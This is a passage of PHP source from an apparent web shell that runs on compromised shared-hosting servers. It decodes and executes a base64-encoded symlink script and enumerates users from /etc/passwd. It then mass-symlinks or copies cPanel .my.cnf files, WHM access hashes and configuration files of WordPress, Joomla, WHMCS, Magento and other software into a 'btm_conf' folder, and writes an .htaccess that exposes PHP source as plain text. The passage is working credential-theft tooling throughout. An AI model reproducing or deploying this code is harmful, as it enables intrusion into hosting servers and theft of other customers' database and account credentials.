xNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtaG9zdGJpbGxzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3RiaWxsLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FwcC9ldGMvbG9jYWwueG1sJywkc2l0ZXNzLictTWFnZW50by50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hZG1pbi9jb25maWcucGhwJywkc2l0ZXNzLictT3BlbmNhcnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlnL3NldHRpbmdzLmluYy5waHAnLCRzaXRlc3MuJy1QcmVzdGFzaG9wLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NvbmZpZy9rb25la3NpLnBocCcsJHNpdGVzcy4nLUxva29tZWRpYS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9sb2tvbWVkaWEvY29uZmlnL2tvbmVrc2kucGhwJywkc2l0ZXNzLictTG9rb21lZGlhLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3NsY29uZmlnLnBocCcsJHNpdGVzcy4nLVNpdGVsb2NrLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCRzaXRlc3MuJy1FbGxpc2xhYi50eHQnKTsNCn0NCnByaW50ICJMb2NhdGlvbjogLi9cblxuIjs=";
  3287. $file = "btm_conf/vhost.cin";
  3288. $handle = fopen($file ,"w+");
  3289. fwrite($handle ,base64_decode($vhost));
  3290. fclose($handle);
  3291. chmod($file, 0755);
  3292. if(exe("cd btm_conf && ./vhost.cin")) {
  3293. echo "<center><a href='$link_config/btm_conf'><font color=lime>Done</font></a></center>";
  3294. } else {
  3295. echo "<center><a href='$link_config/btm_conf/vhost.cin'><font color=lime>Done</font></a></center>";
  3296. }
  3297.  
  3298. } else {
  3299. $etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
  3300. while($passwd = fgets($etc)) {
  3301. if($passwd == "" || !$etc) {
  3302. echo "<font color=red>Can't read /etc/passwd</font>";
  3303. } else {
  3304. preg_match_all('/(.*?):x:/', $passwd, $user_config);
  3305. foreach($user_config[1] as $user_idx) {
  3306. $user_config_dir = "/home/$user_idx/public_html/";
  3307. if(is_readable($user_config_dir)) {
  3308. $grab_config = array(
  3309. "/home/$user_idx/.my.cnf" => "cpanel",
  3310. "/home/$user_idx/.accesshash" => "WHM-accesshash",
  3311. "$user_config_dir/po-content/config.php" => "Popoji",
  3312. "$user_config_dir/vdo_config.php" => "Voodoo",
  3313. "$user_config_dir/bw-configs/config.ini" => "BosWeb",
  3314. "$user_config_dir/config/koneksi.php" => "Lokomedia",
  3315. "$user_config_dir/lokomedia/config/koneksi.php" => "Lokomedia",
  3316. "$user_config_dir/clientarea/configuration.php" => "WHMCS",
  3317. "$user_config_dir/whm/configuration.php" => "WHMCS",
  3318. "$user_config_dir/whmcs/configuration.php" => "WHMCS",
  3319. "$user_config_dir/forum/config.php" => "phpBB",
  3320. "$user_config_dir/sites/default/settings.php" => "Drupal",
  3321. "$user_config_dir/config/settings.inc.php" => "PrestaShop",
  3322. "$user_config_dir/app/etc/local.xml" => "Magento",
  3323. "$user_config_dir/joomla/configuration.php" => "Joomla",
  3324. "$user_config_dir/configuration.php" => "Joomla",
  3325. "$user_config_dir/wp/wp-config.php" => "WordPress",
  3326. "$user_config_dir/wordpress/wp-config.php" => "WordPress",
  3327. "$user_config_dir/wp-config.php" => "WordPress",
  3328. "$user_config_dir/admin/config.php" => "OpenCart",
  3329. "$user_config_dir/slconfig.php" => "Sitelok",
  3330. "$user_config_dir/conf_global.php" => "conf_global",
  3331. "$user_config_dir/inc/config.php" => "inc",
  3332. "$user_config_dir/whm/configuration.php" => "whm",
  3333. "$user_config_dir/whmcs/configuration.php" => "whmcs",
  3334. "$user_config_dir/support/configuration.php" => "supporwhmcs",
  3335. "$user_config_dir/whmc/WHM/configuration.php" => "WHM",
  3336. "$user_config_dir/whm/WHMCS/configuration.php" => "whmc",
  3337. "$user_config_dir/whm/whmcs/configuration.php" => "WHMcs",
  3338. "$user_config_dir/support/configuration.php" => "whmcsupp",
  3339. "$user_config_dir/clients/configuration.php" => "whmcs-cli",
  3340. "$user_config_dir/client/configuration.php" => "whmcs-cl",
  3341. "$user_config_dir/clientes/configuration.php" => "whmcs-CL",
  3342. "$user_config_dir/cliente/configuration.php" => "whmcs-Cl",
  3343. "$user_config_dir/clientsupport/configuration.php" => "whmcs-csup",
  3344. "$user_config_dir/billing/configuration.php" => "whmcs-bill",
  3345. "$user_config_dir/admin/config.php" => "admin-conf",
  3346. "$user_config_dir/application/config/database.php" => "Ellislab",
  3347. "$user_config_dir/ticket/include/ost-config.php" => "OST-Ticket",
  3348. "$user_config_dir/supports/configuration.php" => "supports.txt",
  3349. "$user_config_dir/requires/config.php" => "AM4SS-hosting.txt",
  3350. "$user_config_dir/supports/includes/iso4217.php" => "hostbills-supports.txt",
  3351. "$user_config_dir/client/includes/iso4217.php" => "hostbills-client.txt",
  3352. "$user_config_dir/support/includes/iso4217.php" => "hostbills-support.txt",
  3353. "$user_config_dir/billing/includes/iso4217.php" => "hostbills-billing.txt",
  3354. "$user_config_dir/billings/includes/iso4217.php" => "hostbills-billings.txt",
  3355. "$user_config_dir/host/includes/iso4217.php" => "hostbills-host.txt",
  3356. "$user_config_dir/hosts/includes/iso4217.php" => "hostbills-hosts.txt",
  3357. "$user_config_dir/hosting/includes/iso4217.php" => "hostbills-hosting.txt",
  3358. "$user_config_dir/hostings/includes/iso4217.php" => "hostbills-hostings.txt",
  3359. "$user_config_dir/includes/iso4217.php" => "hostbills.txt",
  3360. "$user_config_dir/hostbillincludes/iso4217.php" => "hostbills-hostbills.txt",
  3361. "$user_config_dir/includes/iso4217.php" => "hostbills-hostbill.txt",
  3362. "$user_config_dir/include/ost-config.php" => "OST-Ticket");
  3363.  
  3364.  
  3365. foreach($grab_config as $config => $nama_config) {
  3366. $ambil_config = file_get_contents($config);
  3367. if($ambil_config == '') {
  3368. } else {
  3369. $file_config = fopen("btm_conf/$user_idx-$nama_config.txt","w");
  3370. fputs($file_config,$ambil_config);
  3371. }
  3372. }
  3373. }
  3374. }
  3375. }
  3376. }
  3377. echo "<center><a href='?dir=$dir/btm_conf'><font color=lime>Done</font></a></center>";
  3378. }
  3379. }
  3380. elseif($_GET['do'] == 'config2') {
  3381. echo "<center>";
  3382. echo "<ul>";
  3383. echo "<li> <a href='?dir=$dir&do=config'>Config</a> </li>";
  3384. echo "<li> <a href='?dir=$dir&do=config2'>2nd Config</a> </li>";
  3385. echo "<li> <a href='?dir=$dir&do=indi'>INDISHELL</a> </li>";
  3386. echo "<li> <a href='?dir=$dir&do=vgrab'>VHosts Grabber</a> </li>";
  3387. echo "</ul>";
  3388. echo "</center>";
  3389. if ($_POST["m"] && !$_POST["passwd"] == "") {
  3390. echo "<center>Wait plz . . <br><br/>";
  3391. $check = @ini_get("disable_functions");
  3392. if (eregi("symlink", $check)) {
  3393. die("<font color=red>Symlink is Disabled</font>");
  3394. }
  3395. @mkdir("btmgrab", 0777);
  3396. @chdir("btmgrab");
  3397. @symlink("/", "root");
  3398. $htaccess = "
  3399. Options all
  3400. Options +Indexes
  3401. Options +FollowSymLinks
  3402. DirectoryIndex Sux.html
  3403. AddType text/plain .php
  3404. AddHandler server-parsed .php
  3405. AddType text/plain .html
  3406. AddHandler txt .html
  3407. Require None
  3408. Satisfy Any
  3409. ";
  3410. file_put_contents(".htaccess", $htaccess, FILE_APPEND);
  3411. $etc_passwd = $_POST["passwd"];
  3412. $etc_passwd = explode("
  3413. ", $etc_passwd);
  3414. foreach ($etc_passwd as $passwd) {
  3415. $pawd = explode(":", $passwd);
  3416. $user = $pawd[0];
  3417. @symlink('/home/' . $user . '/public_html/includes/configure.php', $user . '-shop.txt');
  3418. @symlink('/home/' . $user . '/.my.cnf', $user . '-cpanel.txt');
  3419. @symlink('/home/' . $user . '/.accesshash', $user . '-WHM-accesshash.txt');
  3420. @symlink('/home/' . $user . '/public_html/os/includes/configure.php', $user . '-shop-os.txt');
  3421. @symlink('/home/' . $user . '/public_html/oscom/includes/configure.php', $user . '-oscom.txt');
  3422. @symlink('/home/' . $user . '/public_html/oscommerce/includes/configure.php', $user . '-oscommerce.txt');
  3423. @symlink('/home/' . $user . '/public_html/oscommerces/includes/configure.php', $user . '-oscommerces.txt');
  3424. @symlink('/home/' . $user . '/public_html/shop/includes/configure.php', $user . '-shop2.txt');
  3425. @symlink('/home/' . $user . '/public_html/shopping/includes/configure.php', $user . '-shop-shopping.txt');
  3426. @symlink('/home/' . $user . '/public_html/sale/includes/configure.php', $user . '-sale.txt');
  3427. @symlink('/home/' . $user . '/public_html/amember/config.inc.php', $user . '-amember.txt');
  3428. @symlink('/home/' . $user . '/public_html/config.inc.php', $user . '-amember2.txt');
  3429. @symlink('/home/' . $user . '/public_html/members/configuration.php', $user . '-members.txt');
  3430. @symlink('/home/' . $user . '/public_html/config.php', $user . '-4images1.txt');
  3431. @symlink('/home/' . $user . '/public_html/forum/includes/config.php', $user . '-forum.txt');
  3432. @symlink('/home/' . $user . '/public_html/forums/includes/config.php', $user . '-forums.txt');
  3433. @symlink('/home/' . $user . '/public_html/admin/conf.php', $user . '-5.txt');
  3434. @symlink('/home/' . $user . '/public_html/admin/config.php', $user . '-4.txt');
  3435. @symlink('/home/' . $user . '/public_html/wp-config.php', $user . '-wp13.txt');
  3436. @symlink('/home/' . $user . '/public_html/wp/wp-config.php', $user . '-wp13-wp.txt');
  3437. @symlink('/home/' . $user . '/public_html/WP/wp-config.php', $user . '-wp13-WP.txt');
  3438. @symlink('/home/' . $user . '/public_html/wp/beta/wp-config.php', $user . '-wp13-wp-beta.txt');
  3439. @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp13-beta.txt');
  3440. @symlink('/home/' . $user . '/public_html/press/wp-config.php', $user . '-wp13-press.txt');
  3441. @symlink('/home/' . $user . '/public_html/wordpress/wp-config.php', $user . '-wp13-wordpress.txt');
  3442. @symlink('/home/' . $user . '/public_html/Wordpress/wp-config.php', $user . '-wp13-Wordpress.txt');
  3443. @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp13-Wordpress.txt');
  3444. @symlink('/home/' . $user . '/public_html/wordpress/beta/wp-config.php', $user . '-wp13-wordpress-beta.txt');
  3445. @symlink('/home/' . $user . '/public_html/news/wp-config.php', $user . '-wp13-news.txt');
  3446. @symlink('/home/' . $user . '/public_html/new/wp-config.php', $user . '-wp13-new.txt');
  3447. @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp-blog.txt');
  3448. @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp-beta.txt');
  3449. @symlink('/home/' . $user . '/public_html/blogs/wp-config.php', $user . '-wp-blogs.txt');
  3450. @symlink('/home/' . $user . '/public_html/home/wp-config.php', $user . '-wp-home.txt');
  3451. @symlink('/home/' . $user . '/public_html/protal/wp-config.php', $user . '-wp-protal.txt');
  3452. @symlink('/home/' . $user . '/public_html/site/wp-config.php', $user . '-wp-site.txt');
  3453. @symlink('/home/' . $user . '/public_html/main/wp-config.php', $user . '-wp-main.txt');
  3454. @symlink('/home/' . $user . '/public_html/test/wp-config.php', $user . '-wp-test.txt');
  3455. @symlink('/home/' . $user . '/public_html/arcade/functions/dbclass.php', $user . '-ibproarcade.txt');
  3456. @symlink('/home/' . $user . '/public_html/arcade/functions/dbclass.php', $user . '-ibproarcade.txt');
  3457. @symlink('/home/' . $user . '/public_html/joomla/configuration.php', $user . '-joomla2.txt');
  3458. @symlink('/home/' . $user . '/public_html/protal/configuration.php', $user . '-joomla-protal.txt');
  3459. @symlink('/home/' . $user . '/public_html/joo/configuration.php', $user . '-joo.txt');
  3460. @symlink('/home/' . $user . '/public_html/cms/configuration.php', $user . '-joomla-cms.txt');
  3461. @symlink('/home/' . $user . '/public_html/site/configuration.php', $user . '-joomla-site.txt');
  3462. @symlink('/home/' . $user . '/public_html/main/configuration.php', $user . '-joomla-main.txt');
  3463. @symlink('/home/' . $user . '/public_html/news/configuration.php', $user . '-joomla-news.txt');
  3464. @symlink('/home/' . $user . '/public_html/new/configuration.php', $user . '-joomla-new.txt');
  3465. @symlink('/home/' . $user . '/public_html/home/configuration.php', $user . '-joomla-home.txt');
  3466. @symlink('/home/' . $user . '/public_html/vb/includes/config.php', $user . '-vb-config.txt');
  3467. @symlink('/home/' . $user . '/public_html/vb3/includes/config.php', $user . '-vb3-config.txt');
  3468. @symlink('/home/' . $user . '/public_html/cc/includes/config.php', $user . '-vb1-config.txt');
  3469. @symlink('/home/' . $user . '/public_html/includes/config.php', $user . '-includes-vb.txt');
  3470. @symlink('/home/' . $user . '/public_html/forum/includes/class_core.php', $user . '-vbluttin-class_core.php.txt');
  3471. @symlink('/home/' . $user . '/public_html/vb/includes/class_core.php', $user . '-vbluttin-class_core.php1.txt');
  3472. @symlink('/home/' . $user . '/public_html/cc/includes/class_core.php', $user . '-vbluttin-class_core.php2.txt');
  3473. @symlink('/home/' . $user . '/public_html/configuration.php', $user . '-joomla.txt');
  3474. @symlink('/home/' . $user . '/public_html/includes/dist-configure.php', $user . '-zencart.txt');
  3475. @symlink('/home/' . $user . '/public_html/zencart/includes/dist-configure.php', $user . '-shop-zencart.txt');
  3476. @symlink('/home/' . $user . '/public_html/shop/includes/dist-configure.php', $user . '-shop-ZCshop.txt');
  3477. @symlink('/home/' . $user . '/public_html/Settings.php', $user . '-smf.txt');
  3478. @symlink('/home/' . $user . '/public_html/smf/Settings.php', $user . '-smf2.txt');
  3479. @symlink('/home/' . $user . '/public_html/forum/Settings.php', $user . '-smf-forum.txt');
  3480. @symlink('/home/' . $user . '/public_html/forums/Settings.php', $user . '-smf-forums.txt');
  3481. @symlink('/home/' . $user . '/public_html/upload/includes/config.php', $user . '-up.txt');
  3482. @symlink('/home/' . $user . '/public_html/article/config.php', $user . '-Nwahy.txt');
  3483. @symlink('/home/' . $user . '/public_html/up/includes/config.php', $user . '-up2.txt');
  3484. @symlink('/home/' . $user . '/public_html/conf_global.php', $user . '-6.txt');
  3485. @symlink('/home/' . $user . '/public_html/include/db.php', $user . '-7.txt');
  3486. @symlink('/home/' . $user . '/public_html/connect.php', $user . '-PHP-Fusion.txt');
  3487. @symlink('/home/' . $user . '/public_html/mk_conf.php', $user . '-9.txt');
  3488. @symlink('/home/' . $user . '/public_html/includes/config.php', $user . '-traidnt1.txt');
  3489. @symlink('/home/' . $user . '/public_html/config.php', $user . '-4images.txt');
  3490. @symlink('/home/' . $user . '/public_html/sites/default/settings.php', $user . '-Drupal.txt');
  3491. @symlink('/home/' . $user . '/public_html/member/configuration.php', $user . '-1member.txt');
  3492. @symlink('/home/' . $user . '/public_html/supports/includes/iso4217.php', $user . '-hostbills-supports.txt');
  3493. @symlink('/home/' . $user . '/public_html/client/includes/iso4217.php', $user . '-hostbills-client.txt');
  3494. @symlink('/home/' . $user . '/public_html/support/includes/iso4217.php', $user . '-hostbills-support.txt');
  3495. @symlink('/home/' . $user . '/public_html/billing/includes/iso4217.php', $user . '-hostbills-billing.txt');
  3496. @symlink('/home/' . $user . '/public_html/billings/includes/iso4217.php', $user . '-hostbills-billings.txt');
  3497. @symlink('/home/' . $user . '/public_html/host/includes/iso4217.php', $user . '-hostbills-host.txt');
  3498. @symlink('/home/' . $user . '/public_html/hosts/includes/iso4217.php', $user . '-hostbills-hosts.txt');
  3499. @symlink('/home/' . $user . '/public_html/hosting/includes/iso4217.php', $user . '-hostbills-hosting.txt');
  3500. @symlink('/home/' . $user . '/public_html/hostings/includes/iso4217.php', $user . '-hostbills-hostings.txt');
  3501. @symlink('/home/' . $user . '/public_html/includes/iso4217.php', $user . '-hostbills.txt');
  3502. @symlink('/home/' . $user . '/public_html/hostbills/includes/iso4217.php', $user . '-hostbills-hostbills.txt');
  3503. @symlink('/home/' . $user . '/public_html/hostbill/includes/iso4217.php', $user . '-hostbills-hostbill.txt');
  3504. @symlink('/home/' . $user . '/public_html/cart/configuration.php', $user . '-cart-WHMCS.txt');
  3505. @symlink('/home/' . $user . '/public_html/hosting/configuration.php', $user . '-hosting-WHMCS.txt');
  3506. @symlink('/home/' . $user . '/public_html/buy/configuration.php', $user . '-buy-WHMCS.txt');
  3507. @symlink('/home/' . $user . '/public_html/checkout/configuration.php', $user . '-checkout-WHMCS.txt');
  3508. @symlink('/home/' . $user . '/public_html/host/configuration.php', $user . '-host-WHMCS.txt');
  3509. @symlink('/home/' . $user . '/public_html/shop/configuration.php', $user . '-shop-WHMCS.txt');
  3510. @symlink('/home/' . $user . '/public_html/shopping/configuration.php', $user . '-shopping-WHMCS.txt');
  3511. @symlink('/home/' . $user . '/public_html/sale/configuration.php', $user . '-sale-WHMCS.txt');
  3512. @symlink('/home/' . $user . '/public_html/client/configuration.php', $user . '-client-WHMCS.txt');
  3513. @symlink('/home/' . $user . '/public_html/support/configuration.php', $user . '-support-WHMCS.txt');
  3514. @symlink('/home/' . $user . '/public_html/clientsupport/configuration.php', $user . '-clientsupport-WHMCS.txt');
  3515. @symlink('/home/' . $user . '/public_html/whm/whmcs/configuration.php', $user . '-whm-whmcs.txt');
  3516. @symlink('/home/' . $user . '/public_html/whm/WHMCS/configuration.php', $user . '-whm-WHMCS.txt');
  3517. @symlink('/home/' . $user . '/public_html/whmc/WHM/configuration.php', $user . '-whmc-WHM.txt');
  3518. @symlink('/home/' . $user . '/public_html/whmcs/configuration.php', $user . '-whmc-WHMCS.txt');
  3519. @symlink('/home/' . $user . '/public_html/supp/configuration.php', $user . '-supp-WHMCS.txt');
  3520. @symlink('/home/' . $user . '/public_html/secure/configuration.php', $user . '-sucure-WHMCS.txt');
  3521. @symlink('/home/' . $user . '/public_html/secure/whm/configuration.php', $user . '-sucure-whm-WHMCS.txt');
  3522. @symlink('/home/' . $user . '/public_html/secure/whmcs/configuration.php', $user . '-sucure-whmcs-WHMCS.txt');
  3523. @symlink('/home/' . $user . '/public_html/panel/configuration.php', $user . '-panel-WHMCS.txt');
  3524. @symlink('/home/' . $user . '/public_html/hosts/configuration.php', $user . '-hosts-WHMCS.txt');
  3525. @symlink('/home/' . $user . '/public_html/submitticket.php', $user . '-submitticket-WHMCS.txt');
  3526. @symlink('/home/' . $user . '/public_html/clients/configuration.php', $user . '-clients-WHMCS.txt');
  3527. @symlink('/home/' . $user . '/public_html/clientes/configuration.php', $user . '-clientes-WHMCS.txt');
  3528. @symlink('/home/' . $user . '/public_html/cliente/configuration.php', $user . '-client-WHMCS.txt');
  3529. @symlink('/home/' . $user . '/public_html/billing/configuration.php', $user . '-billing-WHMCS.txt');
  3530. @symlink('/home/' . $user . '/public_html/manage/configuration.php', $user . '-whm-manage-WHMCS.txt');
  3531. @symlink('/home/' . $user . '/public_html/my/configuration.php', $user . '-whm-my-WHMCS.txt');
  3532. @symlink('/home/' . $user . '/public_html/myshop/configuration.php', $user . '-whm-myshop-WHMCS.txt');
  3533. @symlink('/home/' . $user . '/public_html/billings/configuration.php', $user . '-billings-WHMCS.txt');
  3534. @symlink('/home/' . $user . '/public_html/supports/configuration.php', $user . '-supports-WHMCS.txt');
  3535. @symlink('/home/' . $user . '/public_html/auto/configuration.php', $user . '-auto-WHMCS.txt');
  3536. @symlink('/home/' . $user . '/public_html/go/configuration.php', $user . '-go-WHMCS.txt');
  3537. @symlink('/home/' . $user . '/public_html/' . $user . '/configuration.php', $user . '-USERNAME-WHMCS.txt');
  3538. @symlink('/home/' . $user . '/public_html/bill/configuration.php', $user . '-bill-WHMCS.txt');
  3539. @symlink('/home/' . $user . '/public_html/payment/configuration.php', $user . '-payment-WHMCS.txt');
  3540. @symlink('/home/' . $user . '/public_html/pay/configuration.php', $user . '-pay-WHMCS.txt');
  3541. @symlink('/home/' . $user . '/public_html/purchase/configuration.php', $user . '-purchase-WHMCS.txt');
  3542. @symlink('/home/' . $user . '/public_html/clientarea/configuration.php', $user . '-clientarea-WHMCS.txt');
  3543. @symlink('/home/' . $user . '/public_html/autobuy/configuration.php', $user . '-autobuy-WHMCS.txt');
  3544. @symlink('/home2/' . $user . '/.my.cnf', $user . '-cpanel.txt');
  3545. @symlink('/home2/' . $user . '/.accesshash', $user . '-WHM-accesshash.txt');
  3546. @symlink('/home2/' . $user . '/public_html/includes/configure.php', $user . '-shop.txt');
  3547. @symlink('/home2/' . $user . '/public_html/os/includes/configure.php', $user . '-shop-os.txt');
  3548. @symlink('/home2/' . $user . '/public_html/oscom/includes/configure.php', $user . '-oscom.txt');
  3549. @symlink('/home2/' . $user . '/public_html/oscommerce/includes/configure.php', $user . '-oscommerce.txt');
  3550. @symlink('/home2/' . $user . '/public_html/oscommerces/includes/configure.php', $user . '-oscommerces.txt');
  3551. @symlink('/home2/' . $user . '/public_html/shop/includes/configure.php', $user . '-shop2.txt');
  3552. @symlink('/home2/' . $user . '/public_html/shopping/includes/configure.php', $user . '-shop-shopping.txt');
  3553. @symlink('/home2/' . $user . '/public_html/sale/includes/configure.php', $user . '-sale.txt');
  3554. @symlink('/home2/' . $user . '/public_html/amember/config.inc.php', $user . '-amember.txt');
  3555. @symlink('/home2/' . $user . '/public_html/config.inc.php', $user . '-amember2.txt');
  3556. @symlink('/home2/' . $user . '/public_html/members/configuration.php', $user . '-members.txt');
  3557. @symlink('/home2/' . $user . '/public_html/config.php', $user . '-4images1.txt');
  3558. @symlink('/home2/' . $user . '/public_html/forum/includes/config.php', $user . '-forum.txt');
  3559. @symlink('/home2/' . $user . '/public_html/forums/includes/config.php', $user . '-forums.txt');
  3560. @symlink('/home2/' . $user . '/public_html/admin/conf.php', $user . '-5.txt');
  3561. @symlink('/home2/' . $user . '/public_html/admin/config.php', $user . '-4.txt');
  3562. @symlink('/home2/' . $user . '/public_html/wp-config.php', $user . '-wp13.txt');
  3563. @symlink('/home2/' . $user . '/public_html/wp/wp-config.php', $user . '-wp13-wp.txt');
  3564. @symlink('/home2/' . $user . '/public_html/WP/wp-config.php', $user . '-wp13-WP.txt');
  3565. @symlink('/home2/' . $user . '/public_html/wp/beta/wp-config.php', $user . '-wp13-wp-beta.txt');
  3566. @symlink('/home2/' . $user . '/public_html/beta/wp-config.php', $user . '-wp13-beta.txt');
  3567. @symlink('/home2/' . $user . '/public_html/press/wp-config.php', $user . '-wp13-press.txt');
  3568. @symlink('/home2/' . $user . '/public_html/wordpress/wp-config.php', $user . '-wp13-wordpress.txt');
  3569. @symlink('/home2/' . $user . '/public_html/Wordpress/wp-config.php', $user . '-wp13-Wordpress.txt');
  3570. @symlink('/home2/' . $user . '/public_html/blog/wp-config.php', $user . '-wp13-Wordpress.txt');
  3571. @symlink('/home2/' . $user . '/public_html/wordpress/beta/wp-config.php', $user . '-wp13-wordpress-beta.txt');
  3572. @symlink('/home2/' . $user . '/public_html/news/wp-config.php', $user . '-wp13-news.txt');
  3573. @symlink('/home2/' . $user . '/public_html/new/wp-config.php', $user . '-wp13-new.txt');
  3574. @symlink('/home2/' . $user . '/public_html/blog/wp-config.php', $user . '-wp-blog.txt');
  3575. @symlink('/home2/' . $user . '/public_html/beta/wp-config.php', $user . '-wp-beta.txt');
  3576. @symlink('/home2/' . $user . '/public_html/blogs/wp-config.php', $user . '-wp-blogs.txt');
  3577. @symlink('/home2/' . $user . '/public_html/home2/wp-config.php', $user . '-wp-home2.txt');
  3578. @symlink('/home2/' . $user . '/public_html/protal/wp-config.php', $user . '-wp-protal.txt');
  3579. @symlink('/home2/' . $user . '/public_html/site/wp-config.php', $user . '-wp-site.txt');
  3580. @symlink('/home2/' . $user . '/public_html/main/wp-config.php', $user . '-wp-main.txt');
  3581. @symlink('/home2/' . $user . '/public_html/test/wp-config.php', $user . '-wp-test.txt');
  3582. @symlink('/home2/' . $user . '/public_html/arcade/functions/dbclass.php', $user . '-ibproarcade.txt');
  3583. @symlink('/home2/' . $user . '/public_html/arcade/functions/dbclass.php', $user . '-ibproarcade.txt');
  3584. @symlink('/home2/' . $user . '/public_html/joomla/configuration.php', $user . '-joomla2.txt');
  3585. @symlink('/home2/' . $user . '/public_html/protal/configuration.php', $user . '-joomla-protal.txt');
  3586. @symlink('/home2/' . $user . '/public_html/joo/configuration.php', $user . '-joo.txt');
  3587. @symlink('/home2/' . $user . '/public_html/cms/configuration.php', $user . '-joomla-cms.txt');
  3588. @symlink('/home2/' . $user . '/public_html/site/configuration.php', $user . '-joomla-site.txt');
  3589. @symlink('/home2/' . $user . '/public_html/main/configuration.php', $user . '-joomla-main.txt');
  3590. @symlink('/home2/' . $user . '/public_html/news/configuration.php', $user . '-joomla-news.txt');
  3591. @symlink('/home2/' . $user . '/public_html/new/configuration.php', $user . '-joomla-new.txt');
  3592. @symlink('/home2/' . $user . '/public_html/home2/configuration.php', $user . '-joomla-home2.txt');
  3593. @symlink('/home2/' . $user . '/public_html/vb/includes/config.php', $user . '-vb-config.txt');
  3594. @symlink('/home2/' . $user . '/public_html/vb3/includes/config.php', $user . '-vb3-config.txt');
  3595. @symlink('/home2/' . $user . '/public_html/cc/includes/config.php', $user . '-vb1-config.txt');
  3596. @symlink('/home2/' . $user . '/public_html/includes/config.php', $user . '-includes-vb.txt');
  3597. @symlink('/home2/' . $user . '/public_html/forum/includes/class_core.php', $user . '-vbluttin-class_core.php.txt');
  3598. @symlink('/home2/' . $user . '/public_html/vb/includes/class_core.php', $user . '-vbluttin-class_core.php1.txt');
  3599. @symlink('/home2/' . $user . '/public_html/cc/includes/class_core.php', $user . '-vbluttin-class_core.php2.txt');
  3600. @symlink('/home2/' . $user . '/public_html/configuration.php', $user . '-joomla.txt');
  3601. @symlink('/home2/' . $user . '/public_html/includes/dist-configure.php', $user . '-zencart.txt');
  3602. @symlink('/home2/' . $user . '/public_html/zencart/includes/dist-configure.php', $user . '-shop-zencart.txt');
  3603. @symlink('/home2/' . $user . '/public_html/shop/includes/dist-configure.php', $user . '-shop-ZCshop.txt');
  3604. @symlink('/home2/' . $user . '/public_html/Settings.php', $user . '-smf.txt');
  3605. @symlink('/home2/' . $user . '/public_html/smf/Settings.php', $user . '-smf2.txt');
  3606. @symlink('/home2/' . $user . '/public_html/forum/Settings.php', $user . '-smf-forum.txt');
  3607. @symlink('/home2/' . $user . '/public_html/forums/Settings.php', $user . '-smf-forums.txt');
  3608. @symlink('/home2/' . $user . '/public_html/upload/includes/config.php', $user . '-up.txt');
  3609. @symlink('/home2/' . $user . '/public_html/article/config.php', $user . '-Nwahy.txt');
  3610. @symlink('/home2/' . $user . '/public_html/up/includes/config.php', $user . '-up2.txt');
  3611. @symlink('/home2/' . $user . '/public_html/conf_global.php', $user . '-6.txt');
  3612. @symlink('/home2/' . $user . '/public_html/include/db.php', $user . '-7.txt');
  3613. @symlink('/home2/' . $user . '/public_html/connect.php', $user . '-PHP-Fusion.txt');
  3614. @symlink('/home2/' . $user . '/public_html/mk_conf.php', $user . '-9.txt');
  3615. @symlink('/home2/' . $user . '/public_html/includes/config.php', $user . '-traidnt1.txt');
  3616. @symlink('/home2/' . $user . '/public_html/config.php', $user . '-4images.txt');
  3617. @symlink('/home2/' . $user . '/public_html/sites/default/settings.php', $user . '-Drupal.txt');
  3618. @symlink('/home2/' . $user . '/public_html/member/configuration.php', $user . '-1member.txt');
  3619. @symlink('/home2/' . $user . '/public_html/supports/includes/iso4217.php', $user . '-hostbills-supports.txt');
  3620. @symlink('/home2/' . $user . '/public_html/client/includes/iso4217.php', $user . '-hostbills-client.txt');
  3621. @symlink('/home2/' . $user . '/public_html/support/includes/iso4217.php', $user . '-hostbills-support.txt');
  3622. @symlink('/home2/' . $user . '/public_html/billing/includes/iso4217.php', $user . '-hostbills-billing.txt');
  3623. @symlink('/home2/' . $user . '/public_html/billings/includes/iso4217.php', $user . '-hostbills-billings.txt');
  3624. @symlink('/home2/' . $user . '/public_html/host/includes/iso4217.php', $user . '-hostbills-host.txt');
  3625. @symlink('/home2/' . $user . '/public_html/hosts/includes/iso4217.php', $user . '-hostbills-hosts.txt');
  3626. @symlink('/home2/' . $user . '/public_html/hosting/includes/iso4217.php', $user . '-hostbills-hosting.txt');
  3627. @symlink('/home2/' . $user . '/public_html/hostings/includes/iso4217.php', $user . '-hostbills-hostings.txt');
  3628. @symlink('/home2/' . $user . '/public_html/includes/iso4217.php', $user . '-hostbills.txt');
  3629. @symlink('/home2/' . $user . '/public_html/hostbills/includes/iso4217.php', $user . '-hostbills-hostbills.txt');
  3630. @symlink('/home2/' . $user . '/public_html/hostbill/includes/iso4217.php', $user . '-hostbills-hostbill.txt');
  3631. @symlink('/home2/' . $user . '/public_html/cart/configuration.php', $user . '-cart-WHMCS.txt');
  3632. @symlink('/home2/' . $user . '/public_html/hosting/configuration.php', $user . '-hosting-WHMCS.txt');
  3633. @symlink('/home2/' . $user . '/public_html/buy/configuration.php', $user . '-buy-WHMCS.txt');
